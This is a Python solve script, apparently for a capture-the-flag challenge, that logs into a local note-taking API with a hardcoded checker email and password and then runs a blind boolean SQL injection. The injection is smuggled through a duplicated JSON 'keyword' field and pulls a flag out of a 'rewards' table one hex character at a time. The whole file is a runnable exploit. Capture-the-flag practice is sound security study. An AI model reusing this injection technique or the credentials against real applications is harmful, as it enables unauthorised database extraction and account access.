37 lines
1.1 KiB
Python
37 lines
1.1 KiB
Python
import requests
|
|
|
|
HOST = "http://localhost:12000"
|
|
|
|
def login():
|
|
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
|
return token
|
|
|
|
def send_request(payload,token):
|
|
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
|
|
if res.status_code == 401:
|
|
new_token = login()
|
|
return send_request(payload, new_token)
|
|
return res.json()["count"], token
|
|
|
|
def attack():
|
|
token = login()
|
|
charset = "0123456789abcdef"
|
|
|
|
flag = ""
|
|
idx = 10
|
|
for i in range(32):
|
|
for c in list(charset):
|
|
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) = {ord(c)},31337,0) ORDER BY 1 DESC#"
|
|
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
|
|
result,token = send_request(final_payload, token)
|
|
if result == 31337:
|
|
flag += c
|
|
idx += 1
|
|
print(f"[+] CHAR {idx} | {c}")
|
|
break
|
|
|
|
return "WRECKIT50{"+flag+"}"
|
|
|
|
if __name__=="__main__":
|
|
flag = attack()
|
|
print(flag) |